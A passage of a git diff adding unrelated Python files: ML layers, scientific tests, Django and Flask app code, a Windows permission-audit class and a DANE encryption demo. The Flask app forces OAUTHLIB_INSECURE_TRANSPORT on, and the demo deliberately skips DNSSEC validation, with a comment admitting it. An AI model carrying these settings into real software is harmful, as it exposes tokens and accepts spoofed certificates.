= pd.Series([3.2, -10, np.nan, 0.23, 9.2]) + s2 = pd.Series([5., 0, 3.3, np.nan, 9.2]) + + return s1.cov(s2) # Expect value: 44.639... + + +print(series_cov()) diff --git a/pool/shard008/Python/0078950_entity_attention_layer.py b/pool/shard008/Python/0078950_entity_attention_layer.py new file mode 100644 index 0000000000000000000000000000000000000000..fb0f7625503522758dce4b98db6f0eb9d237ecd8 --- /dev/null +++ b/pool/shard008/Python/0078950_entity_attention_layer.py @@ -0,0 +1,114 @@ +# coding=utf-8 +# Copyright 2018 The Google AI Language Team Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Contains entity attention layer.""" + +from typing import Dict + +import flax.linen as nn +import jax.numpy as jnp + +from language.mentionmemory.utils import jax_utils as jut +from language.mentionmemory.utils.custom_types import Array, Dtype # pylint: disable=g-multiple-import + +_SMALL_NUMBER = 1e-8 + + +class EntityAttentionLayer(nn.Module): + """Performs attention update over entity embeddings for passage mentions. + + Attributes: + entity_dim: dimensionality of entity representations. + hidden_size: dimensionality of input token representations. + dtype: precision of computation. + """ + + entity_dim: int + hidden_size: int + dtype: Dtype + layer_norm_epsilon: float = 1e-12 + + def setup(self): + self.mention_query_projector = nn.Dense( + features=self.entity_dim, + dtype=self.dtype, + ) + + self.entity_projector = nn.Dense( + features=self.hidden_size, + dtype=self.dtype, + ) + self.layer_norm = nn.LayerNorm(epsilon=self.layer_norm_epsilon) + + def __call__( + self, + encoded_input: Array, + mention_batch_positions: Array, + mention_start_positions: Array, + mention_end_positions: Array, + mention_mask: Array, + entity_embeddings: Array, + ) -> Dict[str, Array]: + """Perform attention update over entity embedding table. + + Args: + encoded_input: [batch_size, n_tokens, hidden_size]. + mention_batch_positions: [n_mentions]. + mention_start_positions: [n_mentions]. + mention_end_positions: [n_mentions]. + mention_mask: [n_mentions] attention mask to prevent updates from padding + mentions. + entity_embeddings: entity embedding table. + + Returns: + Updated input, mention encodings and entity attention scores. + """ + + mention_start_encodings = jut.matmul_2d_index_select( + encoded_input, (mention_batch_positions, mention_start_positions)) + mention_end_encodings = jut.matmul_2d_index_select( + encoded_input, (mention_batch_positions, mention_end_positions)) + mention_encodings = self.mention_query_projector( + jnp.concatenate((mention_start_encodings, mention_end_encodings), + axis=-1)) + + scores = jnp.einsum('qd,ed->qe', mention_encodings, entity_embeddings) + attention_weights = nn.softmax(scores, axis=-1) + + retrieved_values = jnp.einsum('qe,ed->qd', attention_weights, + entity_embeddings) + retrieved_values = self.entity_projector(retrieved_values) + retrieved_values = retrieved_values * jnp.expand_dims(mention_mask, -1) + + encoded_input = jut.matmul_2d_index_add( + encoded_input, (mention_batch_positions, mention_start_positions), + retrieved_values) + encoded_input = self.layer_norm(encoded_input) + + # The cosine similarity is computed as dot product divided by norms of + # both vectors. + mention_encodings_norm = jnp.linalg.norm(mention_encodings, axis=-1) + entity_embeddings_norm = jnp.linalg.norm(entity_embeddings, axis=-1) + cos_scores = scores + cos_scores = cos_scores / ( + _SMALL_NUMBER + jnp.expand_dims(mention_encodings_norm, 1)) + cos_scores = cos_scores / ( + _SMALL_NUMBER + jnp.expand_dims(entity_embeddings_norm, 0)) + + return { + 'encoded_output': encoded_input, + 'mention_encodings': mention_encodings, + 'cosine_similarity': cos_scores, + 'attention_weights': attention_weights, + } diff --git a/pool/shard008/Python/0078951_test_fault_geometries.py b/pool/shard008/Python/0078951_test_fault_geometries.py new file mode 100644 index 0000000000000000000000000000000000000000..27911e2f0062232b59496d1e638a939610aca2da --- /dev/null +++ b/pool/shard008/Python/0078951_test_fault_geometries.py @@ -0,0 +1,148 @@ +# +# LICENSE +# +# Copyright (c) 2010-2017, GEM Foundation, G. Weatherill, M. Pagani, +# D. Monelli. +# +# The Hazard Modeller's Toolkit is free software: you can redistribute +# it and/or modify it under the terms of the GNU Affero General Public +#License as published by the Free Software Foundation, either version +#3 of the License, or (at your option) any later version. +# +# You should have received a copy of the GNU Affero General Public License +# along with OpenQuake. If not, see +# +#DISCLAIMER +# +# The software Hazard Modeller's Toolkit (openquake.hmtk) provided herein +#is released as a prototype implementation on behalf of +# scientists and engineers working within the GEM Foundation (Global +#Earthquake Model). +# +# It is distributed for the purpose of open collaboration and in the +# hope that it will be useful to the scientific, engineering, disaster +# risk and software design communities. +# +# The software is NOT distributed as part of GEM's OpenQuake suite +# (http://www.globalquakemodel.org/openquake) and must be considered as a +# separate entity. The software provided herein is designed and implemented +# by scientific staff. It is not developed to the design standards, nor +# subject to same level of critical review by professional software +# developers, as GEM's OpenQuake software suite. +# +# Feedback and contribution to the software is welcome, and can be +# directed to the hazard scientific staff of the GEM Model Facility +# (hazard@globalquakemodel.org). +# +# The Hazard Modeller's Toolkit (openquake.hmtk) is therefore distributed WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or +# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License +# for more details. +# +# The GEM Foundation, and the authors of the software, assume no +# liability for use of the software. + +import unittest +import numpy as np +from openquake.hazardlib.geo.point import Point +from openquake.hazardlib.geo.line import Line +from openquake.hazardlib.geo.surface import complex_fault, simple_fault +from openquake.hmtk.faults.fault_models import (SimpleFaultGeometry, + ComplexFaultGeometry) + + +class TestSimpleGeometry(unittest.TestCase): + ''' + Tests the :class: openquake.hmtk.fault.fault_geometries.SimpleFaultGeometry + ''' + def setUp(self): + ''' + Create a simple fault of known length and downdip width + ''' + # Creates a trace ~60 km long made of 3 points + x0 = Point(30., 30., 0.) + x1 = x0.point_at(30., 0., 30.) + x2 = x1.point_at(30., 0., 60.) + # Total length is 60 km + self.trace = Line([x0, x1, x2]) + self.dip = 90. # Simple Vertical Strike-Slip fault + # Total downdip width = 20. km + self.upper_depth = 0. + self.lower_depth = 20. + self.fault = None + + def test_simple_fault_instantiation(self): + ''' + Test the instantiation of the fault and the calculation of the length + ''' + expected_keys = sorted(['trace', 'downdip_width', 'area', 'surface', + 'upper_depth', 'length', 'surface_width', + 'lower_depth', 'dip', 'typology']) + self.fault = SimpleFaultGeometry(self.trace, self.dip, + self.upper_depth, self.lower_depth) + self.assertListEqual(sorted(self.fault.__dict__), expected_keys) + self.assertAlmostEqual(self.fault.length, 60., 5) + self.assertEqual(self.fault.typology, 'Simple') + self.assertTrue(isinstance(self.fault.surface, + simple_fault.SimpleFaultSurface)) + + def test_simple_get_area_vertical(self): + ''' + Tests the area calculation for a vertical fault + ''' + # Case 1 - Vertical fault + self.fault = SimpleFaultGeometry(self.trace, self.dip, + self.upper_depth, self.lower_depth) + + self.assertAlmostEqual(1200., self.fault.get_area(), 5) + self.assertAlmostEqual(20., self.fault.downdip_width, 5) + self.assertAlmostEqual(0., self.fault.surface_width, 5) + + def test_simple_get_area_dipping(self): + ''' + Tests the area calculation for a dipping fault + ''' + self.dip = 30. + self.fault = SimpleFaultGeometry(self.trace, self.dip, + self.upper_depth, self.lower_depth) + self.assertAlmostEqual(2400., self.fault.get_area(), 5) + self.assertAlmostEqual(40., self.fault.downdip_width, 5) + + +class TestComplexFaultGeometry(unittest.TestCase): + ''' + Tests the:w implementation of the :class: + openquake.hmtk.faults.fault_geometries.ComplexFaultGeometry + ''' + def setUp(self): + ''' + Creates a complex fault typology + ''' + x0 = Point(30., 30., 0.) + x1 = x0.point_at(30., 0., 30.) + x2 = x1.point_at(30., 0., 60.) + upper_edge = Line([x0, x1, x2]) + lower_edge = Line([x0.point_at(40., 20., 130.), + x1.point_at(42., 25., 130.), + x2.point_at(41., 22., 130.)]) + self.edges = [upper_edge, lower_edge] + self.fault = None + + def test_instantiation_complex(self): + ''' + Tests instantiation of the class + ''' + self.fault = ComplexFaultGeometry(self.edges, 1.0) + self.assertTrue(isinstance(self.fault.surface, + complex_fault.ComplexFaultSurface)) + self.assertEqual(self.fault.typology, 'Complex') + self.assertAlmostEqual(self.fault.dip, 30.8283885, 5) + + def test_get_area_complex(self): + ''' + As the get area class simply implements the get_area() method of + :class: openquake.hazardlib.geo.surface.complex_fault. + ComplexFaultSurface this test simply checks that it is called. + ''' + self.fault = ComplexFaultGeometry(self.edges, 1.0) + self.assertAlmostEqual(2767.2418367330, self.fault.get_area(), 5) diff --git a/pool/shard008/Python/0078952_views.py b/pool/shard008/Python/0078952_views.py new file mode 100644 index 0000000000000000000000000000000000000000..ec65b276e39e26abb36fa2a6405f85b5d03f2c0a --- /dev/null +++ b/pool/shard008/Python/0078952_views.py @@ -0,0 +1,37 @@ +from django.contrib.auth.mixins import LoginRequiredMixin +from django.urls.base import reverse_lazy +from django.views.generic.edit import UpdateView + +from .models import Settings +from . import forms + + +class SettingsUpdateView(LoginRequiredMixin, UpdateView): + + def get_object(self, queryset=None): + return Settings.objects.get() + + +class GeneralSettingsView(SettingsUpdateView): + form_class = forms.GeneralSettingsForm + template_name = 'settings/general.html' + success_url = reverse_lazy('settings:general') + + +class TechnicalSettingsView(SettingsUpdateView): + form_class = forms.TechnicalSettingsForm + template_name = 'settings/technical.html' + success_url = reverse_lazy('settings:technical') + + +class EmailSettingsView(SettingsUpdateView): + form_class = forms.EmailSettingsForm + + template_name = 'settings/email.html' + success_url = reverse_lazy('settings:email') + + +class TellerSettingsView(SettingsUpdateView): + form_class = forms.TellerSettingsForm + template_name = 'settings/teller.html' + success_url = reverse_lazy('settings:teller') diff --git a/pool/shard008/Python/0078953_init__.py b/pool/shard008/Python/0078953_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..62108bd28fbfc8157988b35a72be9852ca492a7b --- /dev/null +++ b/pool/shard008/Python/0078953_init__.py @@ -0,0 +1,84 @@ +import os +from flask import Flask, session +from flask_oauthlib.provider import OAuth2Provider +from datetime import datetime, timedelta +from .models import Client, Pseudonym, Token, Grant, db +from .cred_server import CredentialServer +from .views import setUpViews +from flask_wtf.csrf import CSRFProtect + + +def load_current_pseudonym(): + if 'pseudonym_id' in session: + id = session['pseudonym_id'] + pseudonym = Pseudonym.query.filter_by(id=id).first() + else: + pseudonym = None + return pseudonym + + +def default_provider(app): + oauth = OAuth2Provider(app) + + @oauth.clientgetter + def get_client(client_id): + return Client.query.filter_by(client_id=client_id).first() + + @oauth.grantgetter + def get_grant(client_id, code): + return Grant.query.filter_by(client_id=client_id, code=code).first() + + @oauth.tokengetter + def get_token(access_token=None, refresh_token=None): + if access_token: + return Token.query.filter_by(access_token=access_token).first() + if refresh_token: + return Token.query.filter_by(refresh_token=refresh_token).first() + return None + + @oauth.grantsetter + def set_grant(client_id, code, request, *args, **kwargs): + pseudonym = load_current_pseudonym() + expires = datetime.utcnow() + timedelta(seconds=100) + grant = Grant( + client_id=client_id, + code=code['code'], + redirect_uri=request.redirect_uri, + scope=' '.join(request.scopes), + user_id=pseudonym.id, + expires=expires + ) + db.session.add(grant) + db.session.commit() + + @oauth.tokensetter + def set_token(token, request, *args, **kwargs): + toks = Token.query.filter_by(client_id=request.client.client_id, + user_id=request.user.id) + # make sure that every client has only one token connected to a user + for t in toks: + db.session.delete(t) + tok = Token(**token) + tok.user_id = request.user.id + tok.client_id = request.client.client_id + db.session.add(tok) + db.session.commit() + + return oauth + + +def create_app(config, return_all=False): + app = Flask(__name__) + app.config.from_object(config) + os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = 'true' + csrf = CSRFProtect(app) + oauth = default_provider(app) + cs = CredentialServer(os.path.join(app.instance_path, 'IdP', config.CRYPTO_DIR)) + db.init_app(app) + db.app = app + db.create_all() + setUpViews(app, oauth, db, cs) + if return_all is False: + return app + else: + return app, db, cs diff --git a/pool/shard008/Python/0078954_test_onsetrate_streaming.py b/pool/shard008/Python/0078954_test_onsetrate_streaming.py new file mode 100644 index 0000000000000000000000000000000000000000..4bcfcb43623cd46ca47770ddc486ce8ff242c8b4 --- /dev/null +++ b/pool/shard008/Python/0078954_test_onsetrate_streaming.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python + +# Copyright (C) 2006-2016 Music Technology Group - Universitat Pompeu Fabra +# +# This file is part of Essentia +# +# Essentia is free software: you can redistribute it and/or modify it under +# the terms of the GNU Affero General Public License as published by the Free +# Software Foundation (FSF), either version 3 of the License, or (at your +# option) any later version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +# details. +# +# You should have received a copy of the Affero GNU General Public License +# version 3 along with this program. If not, see http://www.gnu.org/licenses/ + + + +from essentia_test import * +from essentia.streaming import OnsetRate + +class TestStreamingOnsetRate(TestCase): + + def testEmpty(self): + gen = VectorInput([]) + sor = OnsetRate() + p = Pool() + + gen.data >> sor.signal + sor.onsetTimes >> (p, 'data') + sor.onsetRate >> (p, 'onset.rate') + + run(gen) + + self.assertEqual(len(p.descriptorNames()), 0) + + + def testZero(self): + gen = VectorInput( [0]*10*1024 ) + sor = OnsetRate() + p = Pool() + + gen.data >> sor.signal + sor.onsetTimes >> (p, 'onset.times') + sor.onsetRate >> (p, 'onset.rate') + + run(gen) + + self.assertEqual(p['onset.rate'], 0) + + + def ImpulseTrain(self, frameSize, factor, precision): + nFrames = 16 + inputData = [0]*nFrames*frameSize + pos = factor*frameSize + + # after the first frame,every factor frames there will be an impulse of + # type 1, 0.8, 0.6, 0.4, 0.2 + for i in range(len(inputData)): + mod = i%pos + if i > frameSize and mod < 5: + inputData[i] = 0.5*(5-mod)/2.5 # impulse: 1, 0.8, 0.6, 0.4, 0.2 + + size = int(nFrames/factor); + expected = [0]*size + for i in range(size): + expected[i] = factor*(i+1)*frameSize/44100 + + gen = VectorInput(inputData) + onsetRate = OnsetRate() + p = Pool() + + gen.data >> onsetRate.signal + onsetRate.onsetTimes >> (p, 'onset.times') + onsetRate.onsetRate >> (p, 'onset.rate') + + run(gen) + + self.assertAlmostEqual(p['onset.rate'], len(expected)/(float(len(inputData))/44100.0), 0.05) + self.assertAlmostEqualVector(p['onset.times'], expected, precision) + + + def testImpulseTrain(self): + for i in range(4): + frameSize = 2**i * 1024 + + for j in range(20): + factor = .05*j + 5 + + self.ImpulseTrain(frameSize, factor, 0.1) + + +suite = allTests(TestStreamingOnsetRate) + +if __name__ == '__main__': + TextTestRunner(verbosity=2).run(suite) diff --git a/pool/shard008/Python/0078955_ace.py b/pool/shard008/Python/0078955_ace.py new file mode 100644 index 0000000000000000000000000000000000000000..02d32596e63420a527e359519badaff30010cd3b --- /dev/null +++ b/pool/shard008/Python/0078955_ace.py @@ -0,0 +1,112 @@ +from wpc.principal import principal +import ntsecuritycon +import wpc.conf + + +class ace: + def __init__(self, otype, ace): + self.set_ace(ace) + self.type = None + self.resolved_perms = [] + self.set_otype(otype) + self.set_type_i(ace[0][0]) + self.set_flags(ace[0][1]) + self.set_sid(ace[2]) + self.set_dperms([]) + self.set_principal(principal(ace[2])) + self.set_perms(self.resolve_perms()) + + def get_type(self): + if not self.type: + for i in ("ACCESS_ALLOWED_ACE_TYPE", "ACCESS_DENIED_ACE_TYPE", "SYSTEM_AUDIT_ACE_TYPE", "SYSTEM_ALARM_ACE_TYPE"): + if getattr(ntsecuritycon, i) == self.type_i: + # Abbreviate + if i == "ACCESS_ALLOWED_ACE_TYPE": + self.type = "ALLOW" + break + if i == "ACCESS_DENIED_ACE_TYPE": + self.type = "DENY" + break + if not self.type: + self.type = "UNKNOWN_ACE_TYPE_" + self.type_i + return self.type + + def get_sid(self): + return self.sid + + def get_flags(self): + return self.flags + + def set_principal(self, principal): + self.principal = principal + + def set_dperms(self, dperms): + self.dperms = dperms + + def set_sid(self, sid): + self.sid = sid + + def set_flags(self, flags): + self.flags = flags + + def set_ace(self, ace): + self.ace = ace + + def set_type_i(self, type_i): + self.type_i = type_i + + def set_otype(self, otype): + self.otype = otype + + def set_type(self, type): + self.type = type + + def get_principal(self): + return self.principal + + def get_otype(self): + return self.otype + + def resolve_perms(self): + if self.resolved_perms == []: + for mod, perms_tuple in wpc.conf.all_perms[self.get_otype()].iteritems(): + for perm in perms_tuple: + g = getattr(mod, perm) # save a getattr call + if g & self.ace[1] == g: + self.resolved_perms.append(perm) + return self.resolved_perms + + def get_perms(self): + return self.perms + + def get_ace(self): + return self.ace + + def copy(self): + new = ace(self.get_otype(), self.get_ace()) + return new + + def set_perms(self, perms): + self.perms = perms + + def has_perm(self, perm): + if self.get_type() == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY + for p in self.get_perms(): + if p == perm: + return 1 + return 0 + + def get_perms_dangerous(self): + if self.dperms == []: + if self.get_type() == "ALLOW": # we ignore DENY aces - mostly correct TODO they're actually checked before ALLOWs. False negatives if user is blocked by DENY + for p in self.get_perms(): + for k in wpc.conf.dangerous_perms_write[self.get_otype()]: + if p in wpc.conf.dangerous_perms_write[self.get_otype()][k]: + self.dperms.append(p) + return self.dperms + + def as_text(self): + return self.get_type() + " " + self.get_principal().get_fq_name() + ": \n " + "\n ".join(self.get_perms()) + +# def dangerous_as_text(self): +# return self.get_type() + " " + self.get_principal().get_fq_name() + ": \n " + "\n ".join(self.get_perms_dangerous()) diff --git a/pool/shard008/Python/0078957_2Sum.py b/pool/shard008/Python/0078957_2Sum.py new file mode 100644 index 0000000000000000000000000000000000000000..7c911e7ea6f33da17183bd5d4ec0ac1759b2da59 --- /dev/null +++ b/pool/shard008/Python/0078957_2Sum.py @@ -0,0 +1,27 @@ +def find2Sum(arr, target): + if arr is None: + return None + + sumList = [] + d = dict() + + for x in range(len(arr)): + if arr[x] in d: + index = d[arr[x]] + smallList = [] + smallList.append(index) + smallList.append(x) + sumList.append(smallList) + else: + d[target - arr[x]] = x + + print sumList + +def main(): + arr = [2, 7, 11, 15] + target = 9 + + find2Sum(arr, target) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/pool/shard008/Python/0078964_custom.classify_mucor_tier3_genes.py b/pool/shard008/Python/0078964_custom.classify_mucor_tier3_genes.py new file mode 100644 index 0000000000000000000000000000000000000000..ef10b5b8a876da31be1324df1c08212b5454ef12 --- /dev/null +++ b/pool/shard008/Python/0078964_custom.classify_mucor_tier3_genes.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 + +''' +TYPE 1 - BEST. Has all of the following characteristics: + 1. GM-ES prediction identical to a CEGMA prediction. + 2. Identical to an AAT alignment of at least one C. muris or C. parvum homologue. + 3. Intron-exon boundaries of model supported by assembled transcripts, with start + & stop coordinates contained within the first and last exons of the transcript, + respectively. Non-CDS portion does not have to be identical, i.e. allowing for UTRs. + + Example: http://bit.ly/1irtqwZ + Example: http://bit.ly/1emZ39O # not the best example, because while technically true, + the terminal exon of the Cufflinks transcript it ridiculously long. + +Type 2 - BEST. Has all of the following characteristics: + 1. GM-ES prediction identical to a CEGMA prediction. + 2. NOT identical to an AAT alignment of at least one C. muris or C. parvum homologue. + 3. Intron-exon boundaries of model supported by assembled transcripts, with start & + stop coordinates contained within the first and last exons of the transcript, + respectively. Non-CDS portion does not have to be identical, i.e. allowing for UTRs. + + Example: + http://bit.ly/1g43oCO + +TYPE 2 - BETTER. Has all of the following characteristics: + 1. No match to CEGMA model. By no match, I mean either no CEGMA model exists OR one + does, but it does not have same coordinates. + 2. GM-ES model identical to an AAT alignment of at least one C. muris or C. parvum + homologue. + 3. Intron-exon boundaries of model supported by assembled transcripts, with start & + stop coordinates contained within the first and last exons of the transcript, + respectively. + + Example: + http://bit.ly/1e8CsTG + +TYPE 3 - STILL BETTER. Has all of the following characteristics: + 1. CEGMA model (a case where we are using CEGMA model rather than GM-ES model) + 2. Does not match GM-ES model (imperfect match or no GMES model) + 3. CEGMA model identical to an AAT alignment of at least one C. muris or C. parvum + homologue. + 4. Intron-exon boundaries of CEGMA model supported by assembled transcripts, with + start & stop coordinates contained within the first and last exons of the transcript, + respectively. + + Example: + http://bit.ly/Q0ZG39 + http://bit.ly/1gJ6Pe6 + +Author: Joshua Orvis +''' + +from biocode import gff + + +def main(): + + gm_es_file = 'genemark_hmm.gff3' + cegma_file = 'output.cegma.gff3' + #aat_file = 'bail_training_genes.aat.1500maxintron.80percid.gff3' + aat_file = 'aat.bail_hominis_filtered_training.gff3' + #aat_file = 'aat.merged.gff3' + + + print("INFO: parsing Genemark-ES data") + (assemblies, gm_es_features) = gff.get_gff3_features(gm_es_file) + gm_es_genes = get_genes_from_dict(gm_es_features) + print("\tINFO: Got {0} Genemark-ES genes".format(len(gm_es_genes))) + + print("INFO: parsing CEGMA data") + (assemblies, cegma_features) = gff.get_gff3_features(cegma_file, assemblies=assemblies) + cegma_genes = get_genes_from_dict(cegma_features) + print("\tINFO: Got {0} CEGMA genes".format(len(cegma_genes))) + + print("INFO: parsing AAT results") + (assemblies, aat_muris_features) = gff.get_gff3_features(aat_file, assemblies=assemblies) + aat_genes = get_genes_from_dict(aat_muris_features) + print("\tINFO: Got {0} AAT 'genes'".format(len(aat_genes))) + + genemark_cegma_shared_genes = list() + gmes_cegma_fh = open('gmes_cegma.shared.ids', 'wt') + + for gm_es_gene in gm_es_genes: + for cegma_gene in cegma_genes: + if gm_es_gene.has_same_coordinates_as( thing=cegma_gene ): + if gm_es_gene.shares_exon_structure_with( thing=cegma_gene ) == True: + genemark_cegma_shared_genes.append(gm_es_gene) + gmes_cegma_fh.write("{0}\n".format(gm_es_gene.id)) + break + + print("\n{0} genes were shared perfectly between Genemark-ES and CEGMA".format(len(genemark_cegma_shared_genes)) ) + + ############################################################################# + + genemark_aat_shared_genes = list() + gmes_aat_fh = open('gmes_aat.shared.ids', 'wt') + + for gm_es_gene in gm_es_genes: + for aat_gene in aat_genes: + if gm_es_gene.shares_exon_structure_with( thing=aat_gene, stop_tolerant=True ) == True: + genemark_aat_shared_genes.append(gm_es_gene) + gmes_aat_fh.write("{0}\n".format(gm_es_gene.id)) + break + + print("{0} Genemark-ES genes had an exact AAT match".format(len(genemark_aat_shared_genes)) ) + + ############################################################################## + cegma_matching_gm_es = list() + genemark_aat_cegma_shared_genes = list() + gmes_aat_cegma_fh = open('gmes_aat_cegma.shared.ids', 'wt') + + for cegma_gene in cegma_genes: + match_found = False + + for gm_es_gene in gm_es_genes: + if cegma_gene.has_same_coordinates_as( thing=gm_es_gene ): + if cegma_gene.shares_exon_structure_with( thing=gm_es_gene ) == True: + match_found = True + + if gm_es_gene in genemark_aat_shared_genes and gm_es_gene not in genemark_aat_cegma_shared_genes: + genemark_aat_cegma_shared_genes.append(gm_es_gene) + gmes_aat_cegma_fh.write("{0}\n".format(gm_es_gene.id)) + + break + + if match_found == True: + cegma_matching_gm_es.append(cegma_gene) + + + print("{0} genes with GeneMark-ES, CEGMA and AAT agreement".format(len(genemark_aat_cegma_shared_genes)) ) + training_fh = open('training_gene.ids', 'wt') + + for gene in genemark_aat_cegma_shared_genes: + training_fh.write("{0}\n".format(gene.id) ) + + ############################################################################## + cegma_with_aat_not_gm_es = list() + cegma_aat_nogmes_fh = open('cegma_aat_nogmes.shared.ids', 'wt') + + for cegma_gene in cegma_genes: + if cegma_gene in cegma_matching_gm_es: + continue + + for aat_gene in aat_genes: + if cegma_gene.shares_exon_structure_with( thing=aat_gene, stop_tolerant=True ) == True: + cegma_with_aat_not_gm_es.append(cegma_gene) + cegma_aat_nogmes_fh.write("{0}\n".format(cegma_gene.id)) + break + + print("{0} CEGMA genes had no GeneMark-ES match but did have an AAT one".format(len(cegma_with_aat_not_gm_es)) ) + + + + + + +def get_genes_from_dict( features ): + genes = list() + + for feat_id in features: + feat = features[feat_id] + if feat.__class__.__name__ == 'Gene': + genes.append(feat) + + return genes + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078967_test_login.py b/pool/shard008/Python/0078967_test_login.py new file mode 100644 index 0000000000000000000000000000000000000000..388bd77287b7e70814b91703fe63452598d8b066 --- /dev/null +++ b/pool/shard008/Python/0078967_test_login.py @@ -0,0 +1,67 @@ +__author__ = 'hiroki-m' +import bcrypt +from unittest import TestCase +from kokemomo.plugins.engine.controller.km_login import KMLogin +from kokemomo.plugins.engine.model.km_user_table import KMUser +from kokemomo.settings import SETTINGS + +TEST_PASSWORD = 'test_password' +TEST_SAVE_SESSION = 'save_session' +TEST_REMOVE_SESSION = 'remove_session' + +class LoginTest(TestCase): + + @classmethod + def setup_class(clazz): + pass + + @classmethod + def teardown_class(clazz): + pass + + def setUp(self): + self.login = TestLogin() + + def teardown(self): + pass + + def test_login(self): + req = TestRequest() + result = self.login.auth(req, 'test', 'test_password') + assert req.result == TEST_SAVE_SESSION + assert result == TestLogin.RESULT_SUCCESS + + def test_logout(self): + req = TestRequest() + self.login.logout(req) + assert req.result == TEST_REMOVE_SESSION + + + +class TestLogin(KMLogin): + + @classmethod + def get_user(cls, user_id): + user = KMUser() + user.password = bcrypt.hashpw(TEST_PASSWORD.encode(SETTINGS.CHARACTER_SET), bcrypt.gensalt()) + return user + + + @classmethod + def save_session(cls, request, id): + request.result = TEST_SAVE_SESSION + + + @classmethod + def remove_session(cls, request): + request.result = TEST_REMOVE_SESSION + + +class TestRequest(): + + def __init__(self): + self.result = '' + + def get_request(self): + return self + diff --git a/pool/shard008/Python/0078968_dane_encrypt.py b/pool/shard008/Python/0078968_dane_encrypt.py new file mode 100644 index 0000000000000000000000000000000000000000..73decb60267f627cf819ec69e7975860942e0d22 --- /dev/null +++ b/pool/shard008/Python/0078968_dane_encrypt.py @@ -0,0 +1,66 @@ + +# an example of using getdns to pull out a TLSA record, +# extract a certificate, extract the public key, and then +# encrypt some text +# +# requires the following Python modules: +# getdns +# m2crypto +# + + +import getdns +import M2Crypto as m2 +from M2Crypto import RSA +import sys + + + +# +# I commented out the "return None" because this is demo code and you +# should be able to play with it. But, in deployed applications you +# MUST check that dnssec_status is DNSSEC_SECURE +# + +def get_first_secure_response(results): + replies_tree = results.replies_tree + if (not replies_tree) or (not len(replies_tree)) or (not replies_tree[0]['answer']) or (not len(replies_tree[0]['answer'])): + print 'empty answer list' + return None + else: + reply = replies_tree[0] + if reply['dnssec_status'] != getdns.DNSSEC_SECURE: + print 'insecure reply' +# return None + answer = replies_tree[0]['answer'] + record = [ x for x in answer if x['type'] is getdns.RRTYPE_TLSA ] + if len(record) == 0: + print 'no answers of type TLSA' + return None + return record[0] + +def main(): + tls_name = '77fa5113ab6a532ce2e6901f3bd3351c0db5845e0b1b5fb09907808d._smimecert.getdnsapi.org' + + if len(sys.argv) == 2: + tls_name = sys.argv[1] + c = getdns.Context() + extensions = { 'dnssec_return_status' : getdns.EXTENSION_TRUE } + results = c.general(tls_name, request_type=getdns.RRTYPE_TLSA, extensions=extensions) + if results.replies_full['status'] != getdns.RESPSTATUS_GOOD: + print 'query status is {0}'.format(results.status) + sys.exit(1) + else: + record = get_first_secure_response(results) + cert = record['rdata']['certificate_association_data'] + try: + x509 = m2.X509.load_cert_der_string(cert) + rsakey = x509.get_pubkey().get_rsa() + encrypted = rsakey.public_encrypt("A chunk of text", RSA.pkcs1_oaep_padding) + print encrypted.encode('base64') + except: + print 'Error: ', sys.exc_info()[0] + sys.exit(1) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078969_subscriber.py b/pool/shard008/Python/0078969_subscriber.py new file mode 100644 index 0000000000000000000000000000000000000000..47e27f9dd795481fb1b06a83f01b2e6b7602f150 --- /dev/null +++ b/pool/shard008/Python/0078969_subscriber.py @@ -0,0 +1,98 @@ +from __future__ import absolute_import + +import json + +from createsend.createsend import CreateSendBase, BadRequest +from createsend.utils import json_to_py, validate_consent_to_track + + +class Subscriber(CreateSendBase): + """Represents a subscriber and associated functionality.""" + + def __init__(self, auth=None, list_id=None, email_address=None): + self.list_id = list_id + self.email_address = email_address + super(Subscriber, self).__init__(auth) + + def get(self, list_id=None, email_address=None, include_tracking_preference=False): + """Gets a subscriber by list ID and email address.""" + params = { + "email": email_address or self.email_address, + "includetrackingpreference": include_tracking_preference, + } + response = self._get("/subscribers/%s.json" % + (list_id or self.list_id), params=params) + return json_to_py(response) + + def add(self, list_id, email_address, name, custom_fields, resubscribe, consent_to_track, restart_subscription_based_autoresponders=False): + """Adds a subscriber to a subscriber list.""" + validate_consent_to_track(consent_to_track) + body = { + "EmailAddress": email_address, + "Name": name, + "CustomFields": custom_fields, + "Resubscribe": resubscribe, + "ConsentToTrack": consent_to_track, + "RestartSubscriptionBasedAutoresponders": restart_subscription_based_autoresponders} + response = self._post("/subscribers/%s.json" % + list_id, json.dumps(body)) + return json_to_py(response) + + def update(self, new_email_address, name, custom_fields, resubscribe, consent_to_track, restart_subscription_based_autoresponders=False): + """Updates any aspect of a subscriber, including email address, name, and + custom field data if supplied.""" + validate_consent_to_track(consent_to_track) + params = {"email": self.email_address} + body = { + "EmailAddress": new_email_address, + "Name": name, + "CustomFields": custom_fields, + "Resubscribe": resubscribe, + "ConsentToTrack": consent_to_track, + "RestartSubscriptionBasedAutoresponders": restart_subscription_based_autoresponders} + response = self._put("/subscribers/%s.json" % self.list_id, + body=json.dumps(body), params=params) + # Update self.email_address, so this object can continue to be used + # reliably + self.email_address = new_email_address + + def import_subscribers(self, list_id, subscribers, resubscribe, queue_subscription_based_autoresponders=False, restart_subscription_based_autoresponders=False): + """Imports subscribers into a subscriber list.""" + body = { + "Subscribers": subscribers, + "Resubscribe": resubscribe, + "QueueSubscriptionBasedAutoresponders": queue_subscription_based_autoresponders, + "RestartSubscriptionBasedAutoresponders": restart_subscription_based_autoresponders} + try: + response = 